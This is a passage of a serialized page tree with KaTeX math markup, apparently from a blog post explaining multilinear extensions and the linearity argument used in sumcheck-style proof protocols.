style":103465},[15314],[122067],{"type":23,"tag":75,"props":122068,"children":122069},{},[],{"type":23,"tag":75,"props":122071,"children":122073},{"className":122072},[32954],[122074],{"type":29,"value":1347},{"type":23,"tag":75,"props":122076,"children":122078},{"className":122077,"style":15364},[15363],[],{"type":23,"tag":75,"props":122080,"children":122082},{"className":122081},[15369],[122083],{"type":29,"value":7862},{"type":23,"tag":75,"props":122085,"children":122087},{"className":122086,"style":15364},[15363],[],{"type":23,"tag":75,"props":122089,"children":122091},{"className":122090},[15273],[122092,122096,122167,122171,122176],{"type":23,"tag":75,"props":122093,"children":122095},{"className":122094,"style":120782},[15278],[],{"type":23,"tag":75,"props":122097,"children":122099},{"className":122098},[15284],[122100,122105],{"type":23,"tag":75,"props":122101,"children":122103},{"className":122102,"style":103616},[15284,32803],[122104],{"type":29,"value":103619},{"type":23,"tag":75,"props":122106,"children":122108},{"className":122107},[15299],[122109],{"type":23,"tag":75,"props":122110,"children":122112},{"className":122111},[15304,32857],[122113,122156],{"type":23,"tag":75,"props":122114,"children":122116},{"className":122115},[15309],[122117,122151],{"type":23,"tag":75,"props":122118,"children":122120},{"className":122119,"style":103911},[15314],[122121],{"type":23,"tag":75,"props":122122,"children":122123},{"style":120811},[122124,122128],{"type":23,"tag":75,"props":122125,"children":122127},{"className":122126,"style":15324},[15323],[],{"type":23,"tag":75,"props":122129,"children":122131},{"className":122130},[15329,15330,15331,15332],[122132],{"type":23,"tag":75,"props":122133,"children":122135},{"className":122134},[15284,15332],[122136,122141,122146],{"type":23,"tag":75,"props":122137,"children":122139},{"className":122138},[15284,32803,15332],[122140],{"type":29,"value":12935},{"type":23,"tag":75,"props":122142,"children":122144},{"className":122143},[15369,15332],[122145],{"type":29,"value":15343},{"type":23,"tag":75,"props":122147,"children":122149},{"className":122148},[15284,15332],[122150],{"type":29,"value":7867},{"type":23,"tag":75,"props":122152,"children":122154},{"className":122153},[32960],[122155],{"type":29,"value":32963},{"type":23,"tag":75,"props":122157,"children":122159},{"className":122158},[15309],[122160],{"type":23,"tag":75,"props":122161,"children":122163},{"className":122162,"style":120852},[15314],[122164],{"type":23,"tag":75,"props":122165,"children":122166},{},[],{"type":23,"tag":75,"props":122168,"children":122170},{"className":122169,"style":15364},[15363],[],{"type":23,"tag":75,"props":122172,"children":122174},{"className":122173},[15369],[122175],{"type":29,"value":121644},{"type":23,"tag":75,"props":122177,"children":122179},{"className":122178,"style":15364},[15363],[],{"type":23,"tag":75,"props":122181,"children":122183},{"className":122182},[15273],[122184,122188],{"type":23,"tag":75,"props":122185,"children":122187},{"className":122186,"style":120352},[15278],[],{"type":23,"tag":75,"props":122189,"children":122191},{"className":122190},[15284],[122192,122197],{"type":23,"tag":75,"props":122193,"children":122195},{"className":122194,"style":103382},[15284,32803],[122196],{"type":29,"value":104201},{"type":23,"tag":75,"props":122198,"children":122200},{"className":122199},[15299],[122201],{"type":23,"tag":75,"props":122202,"children":122204},{"className":122203},[15304,32857],[122205,122234],{"type":23,"tag":75,"props":122206,"children":122208},{"className":122207},[15309],[122209,122229],{"type":23,"tag":75,"props":122210,"children":122212},{"className":122211,"style":103911},[15314],[122213],{"type":23,"tag":75,"props":122214,"children":122215},{"style":120381},[122216,122220],{"type":23,"tag":75,"props":122217,"children":122219},{"className":122218,"style":15324},[15323],[],{"type":23,"tag":75,"props":122221,"children":122223},{"className":122222},[15329,15330,15331,15332],[122224],{"type":23,"tag":75,"props":122225,"children":122227},{"className":122226},[15284,32803,15332],[122228],{"type":29,"value":12935},{"type":23,"tag":75,"props":122230,"children":122232},{"className":122231},[32960],[122233],{"type":29,"value":32963},{"type":23,"tag":75,"props":122235,"children":122237},{"className":122236},[15309],[122238],{"type":23,"tag":75,"props":122239,"children":122241},{"className":122240,"style":103465},[15314],[122242],{"type":23,"tag":75,"props":122243,"children":122244},{},[],{"type":23,"tag":32,"props":122246,"children":122247},{},[122248,122249,122345,122347,122372,122374,122399],{"type":29,"value":57328},{"type":23,"tag":16596,"props":122250,"children":122251},{},[122252,122254],{"type":29,"value":122253},"linear in ",{"type":23,"tag":71,"props":122255,"children":122257},{"className":122256},[15256,15257],[122258],{"type":23,"tag":75,"props":122259,"children":122261},{"className":122260},[15262],[122262],{"type":23,"tag":75,"props":122263,"children":122265},{"className":122264,"ariaHidden":15268},[15267],[122266],{"type":23,"tag":75,"props":122267,"children":122269},{"className":122268},[15273],[122270,122274],{"type":23,"tag":75,"props":122271,"children":122273},{"className":122272,"style":120782},[15278],[],{"type":23,"tag":75,"props":122275,"children":122277},{"className":122276},[15284],[122278,122283],{"type":23,"tag":75,"props":122279,"children":122281},{"className":122280,"style":103616},[15284,32803],[122282],{"type":29,"value":103619},{"type":23,"tag":75,"props":122284,"children":122286},{"className":122285},[15299],[122287],{"type":23,"tag":75,"props":122288,"children":122290},{"className":122289},[15304,32857],[122291,122334],{"type":23,"tag":75,"props":122292,"children":122294},{"className":122293},[15309],[122295,122329],{"type":23,"tag":75,"props":122296,"children":122298},{"className":122297,"style":103911},[15314],[122299],{"type":23,"tag":75,"props":122300,"children":122301},{"style":120811},[122302,122306],{"type":23,"tag":75,"props":122303,"children":122305},{"className":122304,"style":15324},[15323],[],{"type":23,"tag":75,"props":122307,"children":122309},{"className":122308},[15329,15330,15331,15332],[122310],{"type":23,"tag":75,"props":122311,"children":122313},{"className":122312},[15284,15332],[122314,122319,122324],{"type":23,"tag":75,"props":122315,"children":122317},{"className":122316},[15284,32803,15332],[122318],{"type":29,"value":12935},{"type":23,"tag":75,"props":122320,"children":122322},{"className":122321},[15369,15332],[122323],{"type":29,"value":15343},{"type":23,"tag":75,"props":122325,"children":122327},{"className":122326},[15284,15332],[122328],{"type":29,"value":7867},{"type":23,"tag":75,"props":122330,"children":122332},{"className":122331},[32960],[122333],{"type":29,"value":32963},{"type":23,"tag":75,"props":122335,"children":122337},{"className":122336},[15309],[122338],{"type":23,"tag":75,"props":122339,"children":122341},{"className":122340,"style":120852},[15314],[122342],{"type":23,"tag":75,"props":122343,"children":122344},{},[],{"type":29,"value":122346},"! By induction, the final claim is linear in the original ",{"type":23,"tag":71,"props":122348,"children":122350},{"className":122349},[15256,15257],[122351],{"type":23,"tag":75,"props":122352,"children":122354},{"className":122353},[15262],[122355],{"type":23,"tag":75,"props":122356,"children":122358},{"className":122357,"ariaHidden":15268},[15267],[122359],{"type":23,"tag":75,"props":122360,"children":122362},{"className":122361},[15273],[122363,122367],{"type":23,"tag":75,"props":122364,"children":122366},{"className":122365,"style":32798},[15278],[],{"type":23,"tag":75,"props":122368,"children":122370},{"className":122369,"style":103616},[15284,32803],[122371],{"type":29,"value":103619},{"type":29,"value":122373},". If ",{"type":23,"tag":71,"props":122375,"children":122377},{"className":122376},[15256,15257],[122378],{"type":23,"tag":75,"props":122379,"children":122381},{"className":122380},[15262],[122382],{"type":23,"tag":75,"props":122383,"children":122385},{"className":122384,"ariaHidden":15268},[15267],[122386],{"type":23,"tag":75,"props":122387,"children":122389},{"className":122388},[15273],[122390,122394],{"type":23,"tag":75,"props":122391,"children":122393},{"className":122392,"style":32798},[15278],[],{"type":23,"tag":75,"props":122395,"children":122397},{"className":122396,"style":103616},[15284,32803],[122398],{"type":29,"value":103619},{"type":29,"value":122400}," isn't in the transcript, we can solve for it.",{"type":23,"tag":923,"props":122402,"children":122404},{"id":122403},"multilinear-extensions-mles",[122405],{"type":29,"value":122406},"Multilinear Extensions (MLEs)",{"type":23,"tag":32,"props":122408,"children":122409},{},[122410,122412,122497],{"type":29,"value":122411},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":71,"props":122413,"children":122415},{"className":122414},[15256,15257],[122416],{"type":23,"tag":75,"props":122417,"children":122419},{"className":122418},[15262],[122420],{"type":23,"tag":75,"props":122421,"children":122423},{"className":122422,"ariaHidden":15268},[15267],[122424],{"type":23,"tag":75,"props":122425,"children":122427},{"className":122426},[15273],[122428,122432,122437,122442,122447,122451,122456],{"type":23,"tag":75,"props":122429,"children":122431},{"className":122430,"style":15384},[15278],[],{"type":23,"tag":75,"props":122433,"children":122435},{"className":122434},[32932],[122436],{"type":29,"value":853},{"type":23,"tag":75,"props":122438,"children":122440},{"className":122439},[15284],[122441],{"type":29,"value":648},{"type":23,"tag":75,"props":122443,"children":122445},{"className":122444},[15395],[122446],{"type":29,"value":15398},{"type":23,"tag":75,"props":122448,"children":122450},{"className":122449,"style":15402},[15363],[],{"type":23,"tag":75,"props":122452,"children":122454},{"className":122453},[15284],[122455],{"type":29,"value":7867},{"type":23,"tag":75,"props":122457,"children":122459},{"className":122458},[32954],[122460,122465],{"type":23,"tag":75,"props":122461,"children":122463},{"className":122462},[32954],[122464],{"type":29,"value":45334},{"type":23,"tag":75,"props":122466,"children":122468},{"className":122467},[15299],[122469],{"type":23,"tag":75,"props":122470,"children":122472},{"className":122471},[15304],[122473],{"type":23,"tag":75,"props":122474,"children":122476},{"className":122475},[15309],[122477],{"type":23,"tag":75,"props":122478,"children":122480},{"className":122479,"style":119099},[15314],[122481],{"type":23,"tag":75,"props":122482,"children":122483},{"style":15318},[122484,122488],{"type":23,"tag":75,"props":122485,"children":122487},{"className":122486,"style":15324},[15323],[],{"type":23,"tag":75,"props":122489,"children":122491},{"className":122490},[15329,15330,15331,15332],[122492],{"type":23,"tag":75,"props":122493,"children":122495},{"className":122494},[15284,32803,15332],[122496],{"type":29,"value":67587},{"type":29,"value":122498},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":32,"props":122500,"children":122501},{},[122502],{"type":29,"value":122503},"For this post, the only property you need is:",{"type":23,"tag":32,"props":122505,"children":122506},{},[122507],{"type":23,"tag":71,"props":122508,"children":122510},{"className":122509},[15256,15257],[122511],{"type":23,"tag":75,"props":122512,"children":122514},{"className":122513},[15262],[122515],{"type":23,"tag":75,"props":122516,"children":122518},{"className":122517,"ariaHidden":15268},[15267],[122519,122681,122953],{"type":23,"tag":75,"props":122520,"children":122522},{"className":122521},[15273],[122523,122528,122597,122602,122663,122668,122672,122677],{"type":23,"tag":75,"props":122524,"children":122527},{"className":122525,"style":122526},[15278],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":75,"props":122529,"children":122532},{"className":122530},[15284,122531],"accent",[122533],{"type":23,"tag":75,"props":122534,"children":122536},{"className":122535},[15304,32857],[122537,122585],{"type":23,"tag":75,"props":122538,"children":122540},{"className":122539},[15309],[122541,122580],{"type":23,"tag":75,"props":122542,"children":122545},{"className":122543,"style":122544},[15314],"height:0.9313em;",[122546,122560],{"type":23,"tag":75,"props":122547,"children":122549},{"style":122548},"top:-3em;",[122550,122555],{"type":23,"tag":75,"props":122551,"children":122554},{"className":122552,"style":122553},[15323],"height:3em;",[],{"type":23,"tag":75,"props":122556,"children":122558},{"className":122557,"style":105736},[15284,32803],[122559],{"type":29,"value":44278},{"type":23,"tag":75,"props":122561,"children":122563},{"style":122562},"top:-3.6134em;",[122564,122568],{"type":23,"tag":75,"props":122565,"children":122567},{"className":122566,"style":122553},[15323],[],{"type":23,"tag":75,"props":122569,"children":122573},{"className":122570,"style":122572},[122571],"accent-body","left:-0.0833em;",[122574],{"type":23,"tag":75,"props":122575,"children":122577},{"className":122576},[15284],[122578],{"type":29,"value":122579},"~",{"type":23,"tag":75,"props":122581,"children":122583},{"className":122582},[32960],[122584],{"type":29,"value":32963},{"type":23,"tag":75,"props":122586,"children":122588},{"className":122587},[15309],[122589],{"type":23,"tag":75,"props":122590,"children":122593},{"className":122591,"style":122592},[15314],"height:0.1944em;",[122594],{"type":23,"tag":75,"props":122595,"children":122596},{},[],{"type":23,"tag":75,"props":122598,"children":122600},{"className":122599},[32932],[122601],{"type":29,"value":643},{"type":23,"tag":75,"props":122603,"children":122605},{"className":122604},[15284,122531],[122606],{"type":23,"tag":75,"props":122607,"children":122609},{"className":122608},[15304],[122610],{"type":23,"tag":75,"props":122611,"children":122613},{"className":122612},[15309],[122614],{"type":23,"tag":75,"props":122615,"children":122618},{"className":122616,"style":122617},[15314],"height:0.714em;",[122619,122631],{"type":23,"tag":75,"props":122620,"children":122621},{"style":122548},[122622,122626],{"type":23,"tag":75,"props":122623,"children":122625},{"className":122624,"style":122553},[15323],[],{"type":23,"tag":75,"props":122627,"children":122629},{"className":122628,"style":103382},[15284,32803],[122630],{"type":29,"value":104201},{"type":23,"tag":75,"props":122632,"children":122633},{"style":122548},[122634,122638],{"type":23,"tag":75,"props":122635,"children":122637},{"className":122636,"style":122553},[15323],[],{"type":23,"tag":75,"props":122639,"children":122642},{"className":122640,"style":122641},[122571],"left:-0.1799em;",[122643],{"type":23,"tag":75,"props":122644,"children":122648},{"className":122645,"style":122647},[122646],"overlay","height:0.714em;width:0.471em;",[122649],{"type":23,"tag":45467,"props":122650,"children":122657},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[122658],{"type":23,"tag":122659,"props":122660,"children":122662},"path",{"d":122661},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":75,"props":122664,"children":122666},{"className":122665},[32954],[122667],{"type":29,"value":1347},{"type":23,"tag":75,"props":122669,"children":122671},{"className":122670,"style":15461},[15363],[],{"type":23,"tag":75,"props":122673,"children":122675},{"className":122674},[15466],[122676],{"type":29,"value":212},{"type":23,"tag":75,"props":122678,"children":122680},{"className":122679,"style":15461},[15363],[],{"type":23,"tag":75,"props":122682,"children":122684},{"className":122683},[15273],[122685,122690,122871,122875,122880,122885,122935,122940,122944,122949],{"type":23,"tag":75,"props":122686,"children":122689},{"className":122687,"style":122688},[15278],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":75,"props":122691,"children":122693},{"className":122692},[32839],[122694,122699],{"type":23,"tag":75,"props":122695,"children":122697},{"className":122696,"style":32846},[32839,32844,32845],[122698],{"type":29,"value":119177},{"type":23,"tag":75,"props":122700,"children":122702},{"className":122701},[15299],[122703],{"type":23,"tag":75,"props":122704,"children":122706},{"className":122705},[15304,32857],[122707,122859],{"type":23,"tag":75,"props":122708,"children":122710},{"className":122709},[15309],[122711,122854],{"type":23,"tag":75,"props":122712,"children":122715},{"className":122713,"style":122714},[15314],"height:0.3448em;",[122716],{"type":23,"tag":75,"props":122717,"children":122719},{"style":122718},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[122720,122724],{"type":23,"tag":75,"props":122721,"children":122723},{"className":122722,"style":15324},[15323],[],{"type":23,"tag":75,"props":122725,"children":122727},{"className":122726},[15329,15330,15331,15332],[122728],{"type":23,"tag":75,"props":122729,"children":122731},{"className":122730},[15284,15332],[122732,122786,122791,122796,122801,122806,122811],{"type":23,"tag":75,"props":122733,"children":122735},{"className":122734},[15284,122531,15332],[122736],{"type":23,"tag":75,"props":122737,"children":122739},{"className":122738},[15304],[122740],{"type":23,"tag":75,"props":122741,"children":122743},{"className":122742},[15309],[122744],{"type":23,"tag":75,"props":122745,"children":122748},{"className":122746,"style":122747},[15314],"height:0.9774em;",[122749,122763],{"type":23,"tag":75,"props":122750,"children":122752},{"style":122751},"top:-2.714em;",[122753,122758],{"type":23,"tag":75,"props":122754,"children":122757},{"className":122755,"style":122756},[15323],"height:2.714em;",[],{"type":23,"tag":75,"props":122759,"children":122761},{"className":122760},[15284,32803,15332],[122762],{"type":29,"value":14507},{"type":23,"tag":75,"props":122764,"children":122766},{"style":122765},"top:-2.9774em;",[122767,122771],{"type":23,"tag":75,"props":122768,"children":122770},{"className":122769,"style":122756},[15323],[],{"type":23,"tag":75,"props":122772,"children":122775},{"className":122773,"style":122774},[122571],"left:-0.2355em;",[122776],{"type":23,"tag":75,"props":122777,"children":122779},{"className":122778,"style":122647},[122646,15332],[122780],{"type":23,"tag":45467,"props":122781,"children":122782},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[122783],{"type":23,"tag":122659,"props":122784,"children":122785},{"d":122661},[],{"type":23,"tag":75,"props":122787,"children":122789},{"className":122788},[15466,15332],[122790],{"type":29,"value":32910},{"type":23,"tag":75,"props":122792,"children":122794},{"className":122793},[32932,15332],[122795],{"type":29,"value":853},{"type":23,"tag":75,"props":122797,"children":122799},{"className":122798},[15284,15332],[122800],{"type":29,"value":648},{"type":23,"tag":75,"props":122802,"children":122804},{"className":122803},[15395,15332],[122805],{"type":29,"value":15398},{"type":23,"tag":75,"props":122807,"children":122809},{"className":122808},[15284,15332],[122810],{"type":29,"value":7867},{"type":23,"tag":75,"props":122812,"children":122814},{"className":122813},[32954,15332],[122815,122820],{"type":23,"tag":75,"props":122816,"children":122818},{"className":122817},[32954,15332],[122819],{"type":29,"value":45334},{"type":23,"tag":75,"props":122821,"children":122823},{"className":122822},[15299],[122824],{"type":23,"tag":75,"props":122825,"children":122827},{"className":122826},[15304],[122828],{"type":23,"tag":75,"props":122829,"children":122831},{"className":122830},[15309],[122832],{"type":23,"tag":75,"props":122833,"children":122836},{"className":122834,"style":122835},[15314],"height:0.5935em;",[122837],{"type":23,"tag":75,"props":122838,"children":122840},{"style":122839},"top:-2.786em;margin-right:0.0714em;",[122841,122845],{"type":23,"tag":75,"props":122842,"children":122844},{"className":122843,"style":119242},[15323],[],{"type":23,"tag":75,"props":122846,"children":122848},{"className":122847},[15329,119247,119248,15332],[122849],{"type":23,"tag":75,"props":122850,"children":122852},{"className":122851},[15284,32803,15332],[122853],{"type":29,"value":67587},{"type":23,"tag":75,"props":122855,"children":122857},{"className":122856},[32960],[122858],{"type":29,"value":32963},{"type":23,"tag":75,"props":122860,"children":122862},{"className":122861},[15309],[122863],{"type":23,"tag":75,"props":122864,"children":122867},{"className":122865,"style":122866},[15314],"height:0.5144em;",[122868],{"type":23,"tag":75,"props":122869,"children":122870},{},[],{"type":23,"tag":75,"props":122872,"children":122874},{"className":122873,"style":15402},[15363],[],{"type":23,"tag":75,"props":122876,"children":122878},{"className":122877,"style":105736},[15284,32803],[122879],{"type":29,"value":44278},{"type":23,"tag":75,"props":122881,"children":122883},{"className":122882},[32932],[122884],{"type":29,"value":643},{"type":23,"tag":75,"props":122886,"children":122888},{"className":122887},[15284,122531],[122889],{"type":23,"tag":75,"props":122890,"children":122892},{"className":122891},[15304],[122893],{"type":23,"tag":75,"props":122894,"children":122896},{"className":122895},[15309],[122897],{"type":23,"tag":75,"props":122898,"children":122900},{"className":122899,"style":122747},[15314],[122901,122913],{"type":23,"tag":75,"props":122902,"children":122903},{"style":122548},[122904,122908],{"type":23,"tag":75,"props":122905,"children":122907},{"className":122906,"style":122553},[15323],[],{"type":23,"tag":75,"props":122909,"children":122911},{"className":122910},[15284,32803],[122912],{"type":29,"value":14507},{"type":23,"tag":75,"props":122914,"children":122916},{"style":122915},"top:-3.2634em;",[122917,122921],{"type":23,"tag":75,"props":122918,"children":122920},{"className":122919,"style":122553},[15323],[],{"type":23,"tag":75,"props":122922,"children":122924},{"className":122923,"style":122774},[122571],[122925],{"type":23,"tag":75,"props":122926,"children":122928},{"className":122927,"style":122647},[122646],[122929],{"type":23,"tag":45467,"props":122930,"children":122931},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[122932],{"type":23,"tag":122659,"props":122933,"children":122934},{"d":122661},[],{"type":23,"tag":75,"props":122936,"children":122938},{"className":122937},[32954],[122939],{"type":29,"value":1347},{"type":23,"tag":75,"props":122941,"children":122943},{"className":122942,"style":15364},[15363],[],{"type":23,"tag":75,"props":122945,"children":122947},{"className":122946},[15369],[122948],{"type":29,"value":121644},{"type":23,"tag":75,"props":122950,"children":122952},{"className":122951,"style":15364},[15363],[],{"type":23,"tag":75,"props":122954,"children":122956},{"className":122955},[15273],[122957,122962,122972,122977,123026,123031,123035,123084],{"type":23,"tag":75,"props":122958,"children":122961},{"className":122959,"style":122960},[15278],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":75,"props":122963,"children":122965},{"className":122964},[15284,29],[122966],{"type":23,"tag":75,"props":122967,"children":122969},{"className":122968},[15284],[122970],{"type":29,"value":122971},"eq",{"type":23,"tag":75,"props":122973,"children":122975},{"className":122974},[32932],[122976],{"type":29,"value":643},{"type":23,"tag":75,"props":122978,"children":122980},{"className":122979},[15284,122531],[122981],{"type":23,"tag":75,"props":122982,"children":122984},{"className":122983},[15304],[122985],{"type":23,"tag":75,"props":122986,"children":122988},{"className":122987},[15309],[122989],{"type":23,"tag":75,"props":122990,"children":122992},{"className":122991,"style":122747},[15314],[122993,123005],{"type":23,"tag":75,"props":122994,"children":122995},{"style":122548},[122996,123000],{"type":23,"tag":75,"props":122997,"children":122999},{"className":122998,"style":122553},[15323],[],{"type":23,"tag":75,"props":123001,"children":123003},{"className":123002},[15284,32803],[123004],{"type":29,"value":14507},{"type":23,"tag":75,"props":123006,"children":123007},{"style":122915},[123008,123012],{"type":23,"tag":75,"props":123009,"children":123011},{"className":123010,"style":122553},[15323],[],{"type":23,"tag":75,"props":123013,"children":123015},{"className":123014,"style":122774},[122571],[123016],{"type":23,"tag":75,"props":123017,"children":123019},{"className":123018,"style":122647},[122646],[123020],{"type":23,"tag":45467,"props":123021,"children":123022},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123023],{"type":23,"tag":122659,"props":123024,"children":123025},{"d":122661},[],{"type":23,"tag":75,"props":123027,"children":123029},{"className":123028},[15395],[123030],{"type":29,"value":15398},{"type":23,"tag":75,"props":123032,"children":123034},{"className":123033,"style":15402},[15363],[],{"type":23,"tag":75,"props":123036,"children":123038},{"className":123037},[15284,122531],[123039],{"type":23,"tag":75,"props":123040,"children":123042},{"className":123041},[15304],[123043],{"type":23,"tag":75,"props":123044,"children":123046},{"className":123045},[15309],[123047],{"type":23,"tag":75,"props":123048,"children":123050},{"className":123049,"style":122617},[15314],[123051,123063],{"type":23,"tag":75,"props":123052,"children":123053},{"style":122548},[123054,123058],{"type":23,"tag":75,"props":123055,"children":123057},{"className":123056,"style":122553},[15323],[],{"type":23,"tag":75,"props":123059,"children":123061},{"className":123060,"style":103382},[15284,32803],[123062],{"type":29,"value":104201},{"type":23,"tag":75,"props":123064,"children":123065},{"style":122548},[123066,123070],{"type":23,"tag":75,"props":123067,"children":123069},{"className":123068,"style":122553},[15323],[],{"type":23,"tag":75,"props":123071,"children":123073},{"className":123072,"style":122641},[122571],[123074],{"type":23,"tag":75,"props":123075,"children":123077},{"className":123076,"style":122647},[122646],[123078],{"type":23,"tag":45467,"props":123079,"children":123080},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123081],{"type":23,"tag":122659,"props":123082,"children":123083},{"d":122661},[],{"type":23,"tag":75,"props":123085,"children":123087},{"className":123086},[32954],[123088],{"type":29,"value":1347},{"type":23,"tag":32,"props":123090,"children":123091},{},[123092,123094,123163,123165,123311,123313,123452,123454,123538],{"type":29,"value":123093},"At a fixed challenge point ",{"type":23,"tag":71,"props":123095,"children":123097},{"className":123096},[15256,15257],[123098],{"type":23,"tag":75,"props":123099,"children":123101},{"className":123100},[15262],[123102],{"type":23,"tag":75,"props":123103,"children":123105},{"className":123104,"ariaHidden":15268},[15267],[123106],{"type":23,"tag":75,"props":123107,"children":123109},{"className":123108},[15273],[123110,123114],{"type":23,"tag":75,"props":123111,"children":123113},{"className":123112,"style":122617},[15278],[],{"type":23,"tag":75,"props":123115,"children":123117},{"className":123116},[15284,122531],[123118],{"type":23,"tag":75,"props":123119,"children":123121},{"className":123120},[15304],[123122],{"type":23,"tag":75,"props":123123,"children":123125},{"className":123124},[15309],[123126],{"type":23,"tag":75,"props":123127,"children":123129},{"className":123128,"style":122617},[15314],[123130,123142],{"type":23,"tag":75,"props":123131,"children":123132},{"style":122548},[123133,123137],{"type":23,"tag":75,"props":123134,"children":123136},{"className":123135,"style":122553},[15323],[],{"type":23,"tag":75,"props":123138,"children":123140},{"className":123139,"style":103382},[15284,32803],[123141],{"type":29,"value":104201},{"type":23,"tag":75,"props":123143,"children":123144},{"style":122548},[123145,123149],{"type":23,"tag":75,"props":123146,"children":123148},{"className":123147,"style":122553},[15323],[],{"type":23,"tag":75,"props":123150,"children":123152},{"className":123151,"style":122641},[122571],[123153],{"type":23,"tag":75,"props":123154,"children":123156},{"className":123155,"style":122647},[122646],[123157],{"type":23,"tag":45467,"props":123158,"children":123159},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123160],{"type":23,"tag":122659,"props":123161,"children":123162},{"d":122661},[],{"type":29,"value":123164},", the coefficients ",{"type":23,"tag":71,"props":123166,"children":123168},{"className":123167},[15256,15257],[123169],{"type":23,"tag":75,"props":123170,"children":123172},{"className":123171},[15262],[123173],{"type":23,"tag":75,"props":123174,"children":123176},{"className":123175,"ariaHidden":15268},[15267],[123177],{"type":23,"tag":75,"props":123178,"children":123180},{"className":123179},[15273],[123181,123185,123194,123199,123248,123253,123257,123306],{"type":23,"tag":75,"props":123182,"children":123184},{"className":123183,"style":122960},[15278],[],{"type":23,"tag":75,"props":123186,"children":123188},{"className":123187},[15284,29],[123189],{"type":23,"tag":75,"props":123190,"children":123192},{"className":123191},[15284],[123193],{"type":29,"value":122971},{"type":23,"tag":75,"props":123195,"children":123197},{"className":123196},[32932],[123198],{"type":29,"value":643},{"type":23,"tag":75,"props":123200,"children":123202},{"className":123201},[15284,122531],[123203],{"type":23,"tag":75,"props":123204,"children":123206},{"className":123205},[15304],[123207],{"type":23,"tag":75,"props":123208,"children":123210},{"className":123209},[15309],[123211],{"type":23,"tag":75,"props":123212,"children":123214},{"className":123213,"style":122747},[15314],[123215,123227],{"type":23,"tag":75,"props":123216,"children":123217},{"style":122548},[123218,123222],{"type":23,"tag":75,"props":123219,"children":123221},{"className":123220,"style":122553},[15323],[],{"type":23,"tag":75,"props":123223,"children":123225},{"className":123224},[15284,32803],[123226],{"type":29,"value":14507},{"type":23,"tag":75,"props":123228,"children":123229},{"style":122915},[123230,123234],{"type":23,"tag":75,"props":123231,"children":123233},{"className":123232,"style":122553},[15323],[],{"type":23,"tag":75,"props":123235,"children":123237},{"className":123236,"style":122774},[122571],[123238],{"type":23,"tag":75,"props":123239,"children":123241},{"className":123240,"style":122647},[122646],[123242],{"type":23,"tag":45467,"props":123243,"children":123244},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123245],{"type":23,"tag":122659,"props":123246,"children":123247},{"d":122661},[],{"type":23,"tag":75,"props":123249,"children":123251},{"className":123250},[15395],[123252],{"type":29,"value":15398},{"type":23,"tag":75,"props":123254,"children":123256},{"className":123255,"style":15402},[15363],[],{"type":23,"tag":75,"props":123258,"children":123260},{"className":123259},[15284,122531],[123261],{"type":23,"tag":75,"props":123262,"children":123264},{"className":123263},[15304],[123265],{"type":23,"tag":75,"props":123266,"children":123268},{"className":123267},[15309],[123269],{"type":23,"tag":75,"props":123270,"children":123272},{"className":123271,"style":122617},[15314],[123273,123285],{"type":23,"tag":75,"props":123274,"children":123275},{"style":122548},[123276,123280],{"type":23,"tag":75,"props":123277,"children":123279},{"className":123278,"style":122553},[15323],[],{"type":23,"tag":75,"props":123281,"children":123283},{"className":123282,"style":103382},[15284,32803],[123284],{"type":29,"value":104201},{"type":23,"tag":75,"props":123286,"children":123287},{"style":122548},[123288,123292],{"type":23,"tag":75,"props":123289,"children":123291},{"className":123290,"style":122553},[15323],[],{"type":23,"tag":75,"props":123293,"children":123295},{"className":123294,"style":122641},[122571],[123296],{"type":23,"tag":75,"props":123297,"children":123299},{"className":123298,"style":122647},[122646],[123300],{"type":23,"tag":45467,"props":123301,"children":123302},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123303],{"type":23,"tag":122659,"props":123304,"children":123305},{"d":122661},[],{"type":23,"tag":75,"props":123307,"children":123309},{"className":123308},[32954],[123310],{"type":29,"value":1347},{"type":29,"value":123312}," are constants, so ",{"type":23,"tag":71,"props":123314,"children":123316},{"className":123315},[15256,15257],[123317],{"type":23,"tag":75,"props":123318,"children":123320},{"className":123319},[15262],[123321],{"type":23,"tag":75,"props":123322,"children":123324},{"className":123323,"ariaHidden":15268},[15267],[123325],{"type":23,"tag":75,"props":123326,"children":123328},{"className":123327},[15273],[123329,123333,123393,123398,123447],{"type":23,"tag":75,"props":123330,"children":123332},{"className":123331,"style":122526},[15278],[],{"type":23,"tag":75,"props":123334,"children":123336},{"className":123335},[15284,122531],[123337],{"type":23,"tag":75,"props":123338,"children":123340},{"className":123339},[15304,32857],[123341,123382],{"type":23,"tag":75,"props":123342,"children":123344},{"className":123343},[15309],[123345,123377],{"type":23,"tag":75,"props":123346,"children":123348},{"className":123347,"style":122544},[15314],[123349,123361],{"type":23,"tag":75,"props":123350,"children":123351},{"style":122548},[123352,123356],{"type":23,"tag":75,"props":123353,"children":123355},{"className":123354,"style":122553},[15323],[],{"type":23,"tag":75,"props":123357,"children":123359},{"className":123358,"style":105736},[15